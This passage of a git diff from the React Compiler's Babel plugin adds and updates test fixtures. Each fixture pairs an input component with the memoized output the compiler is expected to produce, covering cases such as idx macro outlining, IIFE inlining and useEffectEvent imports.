+  // not outlined
+  const groupName3 = idx.a.b(props, _ => _.group.label);
+  // not outlined
+  const groupName4 = idx.hello_world.b(props, _ => _.group.label);
+  // outlined
+  const groupName5 = idx.hello_world.b.c(props, _ => _.group.label);
+  return (
+    <div>
+      {groupName1}
+      {groupName2}
+      {groupName3}
+      {groupName4}
+      {groupName5}
+    </div>
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-method-no-outlining.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-method-no-outlining.expect.md
new file mode 100644
index 000000000000..e98fb191ce73
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-method-no-outlining.expect.md
@@ -0,0 +1,79 @@
+
+## Input
+
+```javascript
+// @customMacros:"idx.a"
+
+function Component(props) {
+  // outlined
+  const groupName1 = idx(props, _ => _.group.label);
+  // not outlined
+  const groupName2 = idx.a(props, _ => _.group.label);
+  // outlined
+  const groupName3 = idx.a.b(props, _ => _.group.label);
+  return (
+    <div>
+      {groupName1}
+      {groupName2}
+      {groupName3}
+    </div>
+  );
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @customMacros:"idx.a"
+
+function Component(props) {
+  const $ = _c(10);
+  let t0;
+  if ($[0] !== props) {
+    t0 = idx(props, (_) => _.group.label);
+    $[0] = props;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const groupName1 = t0;
+  let t1;
+  if ($[2] !== props) {
+    t1 = idx.a(props, (__0) => __0.group.label);
+    $[2] = props;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  const groupName2 = t1;
+  let t2;
+  if ($[4] !== props) {
+    t2 = idx.a.b(props, (__1) => __1.group.label);
+    $[4] = props;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  const groupName3 = t2;
+  let t3;
+  if ($[6] !== groupName1 || $[7] !== groupName2 || $[8] !== groupName3) {
+    t3 = (
+      <div>
+        {groupName1}
+        {groupName2}
+        {groupName3}
+      </div>
+    );
+    $[6] = groupName1;
+    $[7] = groupName2;
+    $[8] = groupName3;
+    $[9] = t3;
+  } else {
+    t3 = $[9];
+  }
+  return t3;
+}
+
+```
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-method-no-outlining.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-method-no-outlining.js
new file mode 100644
index 000000000000..1b2cadb5d9e3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-method-no-outlining.js
@@ -0,0 +1,17 @@
+// @customMacros:"idx.a"
+
+function Component(props) {
+  // outlined
+  const groupName1 = idx(props, _ => _.group.label);
+  // not outlined
+  const groupName2 = idx.a(props, _ => _.group.label);
+  // outlined
+  const groupName3 = idx.a.b(props, _ => _.group.label);
+  return (
+    <div>
+      {groupName1}
+      {groupName2}
+      {groupName3}
+    </div>
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-no-outlining.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-no-outlining.expect.md
new file mode 100644
index 000000000000..aec4231c8dd4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-no-outlining.expect.md
@@ -0,0 +1,63 @@
+
+## Input
+
+```javascript
+// @customMacros:"idx"
+import idx from 'idx';
+
+function Component(props) {
+  // the lambda should not be outlined
+  const groupName = idx(props, _ => _.group.label);
+  return <div>{groupName}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @customMacros:"idx"
+
+function Component(props) {
+  var _ref2;
+  const $ = _c(4);
+  let t0;
+  if ($[0] !== props) {
+    var _ref;
+    t0 =
+      (_ref = props) != null
+        ? (_ref = _ref.group) != null
+          ? _ref.label
+          : _ref
+        : _ref;
+    $[0] = props;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const groupName = t0;
+  let t1;
+  if ($[2] !== groupName) {
+    t1 = <div>{groupName}</div>;
+    $[2] = groupName;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div></div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-no-outlining.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-no-outlining.js
new file mode 100644
index 000000000000..8cdf205ddd39
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/idx-no-outlining.js
@@ -0,0 +1,13 @@
+// @customMacros:"idx"
+import idx from 'idx';
+
+function Component(props) {
+  // the lambda should not be outlined
+  const groupName = idx(props, _ => _.group.label);
+  return <div>{groupName}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ignore-inner-interface-types.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ignore-inner-interface-types.expect.md
new file mode 100644
index 000000000000..b4d8a4155c3b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ignore-inner-interface-types.expect.md
@@ -0,0 +1,35 @@
+
+## Input
+
+```javascript
+function Foo() {
+  type X = number;
+  interface Bar {
+    baz: number;
+  }
+  return 0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+function Foo() {
+  return 0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) 0
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ignore-inner-interface-types.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ignore-inner-interface-types.ts
new file mode 100644
index 000000000000..4330642bcf7a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ignore-inner-interface-types.ts
@@ -0,0 +1,12 @@
+function Foo() {
+  type X = number;
+  interface Bar {
+    baz: number;
+  }
+  return 0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ignore-use-no-forget.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ignore-use-no-forget.expect.md
index 675a4b135ec7..b73d7fd31fd9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ignore-use-no-forget.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ignore-use-no-forget.expect.md
@@ -4,14 +4,14 @@
 ```javascript
 // @ignoreUseNoForget
 function Component(prop) {
-  "use no forget";
+  'use no forget';
   const result = prop.x.toFixed();
   return <div>{result}</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ x: 1 }],
+  params: [{x: 1}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ignore-use-no-forget.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ignore-use-no-forget.js
index 6b3c8fe7d571..a083298880fb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ignore-use-no-forget.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ignore-use-no-forget.js
@@ -1,11 +1,11 @@
 // @ignoreUseNoForget
 function Component(prop) {
-  "use no forget";
+  'use no forget';
   const result = prop.x.toFixed();
   return <div>{result}</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ x: 1 }],
+  params: [{x: 1}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-inline-ternary.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-inline-ternary.expect.md
new file mode 100644
index 000000000000..bf4dddc6fc3f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-inline-ternary.expect.md
@@ -0,0 +1,40 @@
+
+## Input
+
+```javascript
+function Component(props) {
+  const x = props.foo
+    ? 1
+    : (() => {
+        throw new Error('Did not receive 1');
+      })();
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{foo: true}],
+};
+
+```
+
+## Code
+
+```javascript
+function Component(props) {
+  props.foo ? 1 : _temp();
+  return items;
+}
+function _temp() {
+  throw new Error("Did not receive 1");
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ foo: true }],
+};
+
+```
+      
+### Eval output
+(kind: exception) items is not defined
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-inline-ternary.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-inline-ternary.js
new file mode 100644
index 000000000000..56d20f7f9ff9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-inline-ternary.js
@@ -0,0 +1,13 @@
+function Component(props) {
+  const x = props.foo
+    ? 1
+    : (() => {
+        throw new Error('Did not receive 1');
+      })();
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{foo: true}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later-phi.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later-phi.expect.md
index 6fcb1dc93e27..22f967883b09 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later-phi.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later-phi.expect.md
@@ -16,7 +16,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: {} }],
+  params: [{a: {}}],
 };
 
 ```
@@ -26,9 +26,9 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(2);
+  const $ = _c(3);
   let items;
-  if ($[0] !== props) {
+  if ($[0] !== props.a || $[1] !== props.cond) {
     let t0;
     if (props.cond) {
       t0 = [];
@@ -38,10 +38,11 @@ function Component(props) {
     items = t0;
 
     items?.push(props.a);
-    $[0] = props;
-    $[1] = items;
+    $[0] = props.a;
+    $[1] = props.cond;
+    $[2] = items;
   } else {
-    items = $[1];
+    items = $[2];
   }
   return items;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later-phi.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later-phi.js
index f3b0a6b97302..f4f953d294e6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later-phi.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later-phi.js
@@ -12,5 +12,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: {} }],
+  params: [{a: {}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later.expect.md
index eb96ed734fc3..76fc6e86aba8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later.expect.md
@@ -12,7 +12,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: {} }],
+  params: [{a: {}}],
 };
 
 ```
@@ -22,20 +22,16 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(3);
-  let t0;
+  const $ = _c(2);
   let items;
   if ($[0] !== props.a) {
-    t0 = [];
-    items = t0;
+    items = [];
 
     items.push(props.a);
     $[0] = props.a;
     $[1] = items;
-    $[2] = t0;
   } else {
     items = $[1];
-    t0 = $[2];
   }
   return items;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later.js
index 86fc90f42f57..688a0a824355 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/iife-return-modified-later.js
@@ -8,5 +8,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: {} }],
+  params: [{a: {}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/import-as-local.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/import-as-local.expect.md
new file mode 100644
index 000000000000..afbb1bdfe784
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/import-as-local.expect.md
@@ -0,0 +1,140 @@
+
+## Input
+
+```javascript
+import {
+  useEffect,
+  useRef,
+  // @ts-expect-error
+  experimental_useEffectEvent as useEffectEvent,
+} from 'react';
+
+let id = 0;
+function uniqueId() {
+  'use no memo';
+  return id++;
+}
+
+export function useCustomHook(src: string): void {
+  const uidRef = useRef(uniqueId());
+  const destroyed = useRef(false);
+  const getItem = (srcName, uid) => {
+    return {srcName, uid};
+  };
+
+  const getItemEvent = useEffectEvent(() => {
+    if (destroyed.current) return;
+
+    getItem(src, uidRef.current);
+  });
+
+  useEffect(() => {
+    destroyed.current = false;
+    getItemEvent();
+  }, []);
+}
+
+function Component() {
+  useCustomHook('hello');
+  return <div>Hello</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  isComponent: true,
+  params: [{x: 1}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import {
+  useEffect,
+  useRef,
+  // @ts-expect-error
+  experimental_useEffectEvent as useEffectEvent,
+} from "react";
+
+let id = 0;
+function uniqueId() {
+  "use no memo";
+  return id++;
+}
+
+export function useCustomHook(src) {
+  const $ = _c(6);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = uniqueId();
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const uidRef = useRef(t0);
+  const destroyed = useRef(false);
+  const getItem = _temp;
+  let t1;
+  if ($[1] !== src) {
+    t1 = () => {
+      if (destroyed.current) {
+        return;
+      }
+
+      getItem(src, uidRef.current);
+    };
+    $[1] = src;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  const getItemEvent = useEffectEvent(t1);
+  let t2;
+  if ($[3] !== getItemEvent) {
+    t2 = () => {
+      destroyed.current = false;
+      getItemEvent();
+    };
+    $[3] = getItemEvent;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  let t3;
+  if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
+    t3 = [];
+    $[5] = t3;
+  } else {
+    t3 = $[5];
+  }
+  useEffect(t2, t3);
+}
+function _temp(srcName, uid) {
+  return { srcName, uid };
+}
+
+function Component() {
+  const $ = _c(1);
+  useCustomHook("hello");
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = <div>Hello</div>;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  isComponent: true,
+  params: [{ x: 1 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>Hello</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/import-as-local.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/import-as-local.tsx
new file mode 100644
index 000000000000..a1c7220f2905
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/import-as-local.tsx
@@ -0,0 +1,42 @@
+import {
+  useEffect,
+  useRef,
+  // @ts-expect-error
+  experimental_useEffectEvent as useEffectEvent,
+} from 'react';
+
+let id = 0;
+function uniqueId() {
+  'use no memo';
+  return id++;
+}
+
+export function useCustomHook(src: string): void {
+  const uidRef = useRef(uniqueId());
+  const destroyed = useRef(false);
+  const getItem = (srcName, uid) => {
+    return {srcName, uid};
+  };
+
+  const getItemEvent = useEffectEvent(() => {
+    if (destroyed.current) return;
+
+    getItem(src, uidRef.current);
+  });
+
+  useEffect(() => {
+    destroyed.current = false;
+    getItemEvent();
+  }, []);
+}
+
+function Component() {
+  useCustomHook('hello');
+  return <div>Hello</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  isComponent: true,
+  params: [{x: 1}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inadvertent-mutability-readonly-lambda.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inadvertent-mutability-readonly-lambda.expect.md
index cedda4ed8c2b..76dfc5ab1ca5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inadvertent-mutability-readonly-lambda.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inadvertent-mutability-readonly-lambda.expect.md
@@ -6,7 +6,7 @@ function Component(props) {
   const [value, setValue] = useState(null);
   // NOTE: this lambda does not capture any mutable values (only the state setter)
   // and thus should be treated as readonly
-  const onChange = (e) => setValue((value) => value + e.target.value);
+  const onChange = e => setValue(value => value + e.target.value);
 
   useOtherHook();
 
@@ -24,7 +24,7 @@ function Component(props) {
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
   const $ = _c(2);
-  const [value, setValue] = useState(null);
+  const [, setValue] = useState(null);
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     t0 = (e) => setValue((value_0) => value_0 + e.target.value);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inadvertent-mutability-readonly-lambda.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inadvertent-mutability-readonly-lambda.js
index bd10465c7422..294006ced6d9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inadvertent-mutability-readonly-lambda.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inadvertent-mutability-readonly-lambda.js
@@ -2,7 +2,7 @@ function Component(props) {
   const [value, setValue] = useState(null);
   // NOTE: this lambda does not capture any mutable values (only the state setter)
   // and thus should be treated as readonly
-  const onChange = (e) => setValue((value) => value + e.target.value);
+  const onChange = e => setValue(value => value + e.target.value);
 
   useOtherHook();
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/incompatible-destructuring-kinds.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/incompatible-destructuring-kinds.expect.md
index aeef25855698..cde1360bf048 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/incompatible-destructuring-kinds.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/incompatible-destructuring-kinds.expect.md
@@ -2,12 +2,12 @@
 ## Input
 
 ```javascript
-import { useMemo } from "react";
-import { Stringify } from "shared-runtime";
+import {useMemo} from 'react';
+import {Stringify} from 'shared-runtime';
 
 function Component({}) {
-  let a = "a";
-  let b = "";
+  let a = 'a';
+  let b = '';
   [a, b] = [null, null];
   // NOTE: reference `a` in a callback to force a context variable
   return <Stringify a={a} b={b} onClick={() => a} />;
@@ -29,22 +29,21 @@ import { Stringify } from "shared-runtime";
 
 function Component(t0) {
   const $ = _c(4);
-  let t1;
   let a;
   let b;
+  let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     a = "a";
-
     const [t2, t3] = [null, null];
     t1 = t3;
     a = t2;
-    $[0] = t1;
-    $[1] = a;
-    $[2] = b;
+    $[0] = a;
+    $[1] = b;
+    $[2] = t1;
   } else {
-    t1 = $[0];
-    a = $[1];
-    b = $[2];
+    a = $[0];
+    b = $[1];
+    t1 = $[2];
   }
   b = t1;
   let t2;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/incompatible-destructuring-kinds.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/incompatible-destructuring-kinds.js
index a77476c6b816..a3fe8f39b82f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/incompatible-destructuring-kinds.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/incompatible-destructuring-kinds.js
@@ -1,9 +1,9 @@
-import { useMemo } from "react";
-import { Stringify } from "shared-runtime";
+import {useMemo} from 'react';
+import {Stringify} from 'shared-runtime';
 
 function Component({}) {
-  let a = "a";
-  let b = "";
+  let a = 'a';
+  let b = '';
   [a, b] = [null, null];
   // NOTE: reference `a` in a callback to force a context variable
   return <Stringify a={a} b={b} onClick={() => a} />;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/independently-memoize-object-property.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/independently-memoize-object-property.expect.md
index 03c096ba9b2d..9d4f1c427b3b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/independently-memoize-object-property.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/independently-memoize-object-property.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function foo(a, b, c) {
-  const x = { a: a };
+  const x = {a: a};
   // NOTE: this array should memoize independently from x, w only b,c as deps
   x.y = [b, c];
 
@@ -12,8 +12,8 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -44,6 +44,7 @@ function foo(a, b, c) {
   } else {
     x = $[3];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/independently-memoize-object-property.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/independently-memoize-object-property.js
index b4e2005d3960..b4483d5b2cb9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/independently-memoize-object-property.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/independently-memoize-object-property.js
@@ -1,5 +1,5 @@
 function foo(a, b, c) {
-  const x = { a: a };
+  const x = {a: a};
   // NOTE: this array should memoize independently from x, w only b,c as deps
   x.y = [b, c];
 
@@ -8,6 +8,6 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-compile-hooks-with-multiple-params.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-compile-hooks-with-multiple-params.expect.md
index cdb1c933f2e1..129d3a72e9ec 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-compile-hooks-with-multiple-params.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-compile-hooks-with-multiple-params.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
-import { useNoAlias } from "shared-runtime";
+// @compilationMode:"infer"
+import {useNoAlias} from 'shared-runtime';
 
 // This should be compiled by Forget
 function useFoo(value1, value2) {
@@ -22,7 +22,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @compilationMode(infer)
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer"
 import { useNoAlias } from "shared-runtime";
 
 // This should be compiled by Forget
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-compile-hooks-with-multiple-params.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-compile-hooks-with-multiple-params.js
index 2190b3a356e1..a03aa10aa8db 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-compile-hooks-with-multiple-params.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-compile-hooks-with-multiple-params.js
@@ -1,5 +1,5 @@
-// @compilationMode(infer)
-import { useNoAlias } from "shared-runtime";
+// @compilationMode:"infer"
+import {useNoAlias} from 'shared-runtime';
 
 // This should be compiled by Forget
 function useFoo(value1, value2) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-computed-delete.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-computed-delete.expect.md
index 258371afec83..cd93ad9bf7a3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-computed-delete.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-computed-delete.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @debug
+// @debug @enablePreserveExistingMemoizationGuarantees:false
 function Component(props) {
   const x = makeObject();
   const y = delete x[props.value];
@@ -14,7 +14,7 @@ function Component(props) {
 ## Code
 
 ```javascript
-// @debug
+// @debug @enablePreserveExistingMemoizationGuarantees:false
 function Component(props) {
   const x = makeObject();
   const y = delete x[props.value];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-computed-delete.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-computed-delete.js
index 187e797f40f8..6229cb6d3e5a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-computed-delete.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-computed-delete.js
@@ -1,4 +1,4 @@
-// @debug
+// @debug @enablePreserveExistingMemoizationGuarantees:false
 function Component(props) {
   const x = makeObject();
   const y = delete x[props.value];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-dont-compile-components-with-multiple-params.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-dont-compile-components-with-multiple-params.expect.md
index d0999fca0cb6..5f1f1f7662fc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-dont-compile-components-with-multiple-params.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-dont-compile-components-with-multiple-params.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // Takes multiple parameters - not a component!
 function Component(foo, bar) {
   return <div />;
@@ -18,7 +18,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // Takes multiple parameters - not a component!
 function Component(foo, bar) {
   return <div />;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-dont-compile-components-with-multiple-params.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-dont-compile-components-with-multiple-params.js
index 9b2cf36a1965..19406072fce9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-dont-compile-components-with-multiple-params.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-dont-compile-components-with-multiple-params.js
@@ -1,4 +1,4 @@
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // Takes multiple parameters - not a component!
 function Component(foo, bar) {
   return <div />;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-React-memo.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-React-memo.expect.md
index 6dbefd14cd5e..89a89c41e733 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-React-memo.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-React-memo.expect.md
